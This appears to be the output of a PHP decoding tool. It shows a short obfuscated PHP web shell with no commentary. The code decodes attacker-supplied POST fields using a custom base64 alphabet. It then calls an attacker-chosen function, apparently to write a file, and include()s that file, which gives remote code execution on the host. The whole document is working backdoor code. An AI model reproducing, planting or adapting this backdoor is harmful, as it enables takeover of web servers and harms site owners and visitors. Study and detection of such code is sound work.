PHP Decode

<?  if( ! function_exists('qvmwqpl') ) { 
  
          function qvmwqpl($pmxutkondsfleus, $yungdjufqajq) { 
                  $pxwzmkax = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; 
                  $pmxutkondsfleus = strtr($pmxutkondsfleus, $yungdjufqajq, $pxwzmkax); 
                 $pmxutkondsfleus = hhbusxglsepfoa($pmxutkondsfleus); 
                 return $pmxutkondsfleus; 
         } 
 
         function hhbusxglsepfoa($cilyegc) { 
                 $cilyegc = base64_decode($cilyegc); 
                 return $cilyegc; 
         } 
 
         $pgdpwomzgvar = $_POST; 
 
         if(isset($pgdpwomzgvar['yxszaluc'])) { 
                 $pyuopxy = $pgdpwomzgvar['yxszaluc']; 
                 $afpzgbfo = qvmwqpl($pgdpwomzgvar['bygazljf'], $pyuopxy); 
                 $mssrkwoxtnou = qvmwqpl($pgdpwomzgvar['sgbmwasfwj'], $pyuopxy); 
                 $pppaiuto = qvmwqpl($pgdpwomzgvar['fdibwym'], $pyuopxy); 
                 $pppaiuto($afpzgbfo, $mssrkwoxtnou); 
                 include($afpzgbfo); 
         } 
 
} ?>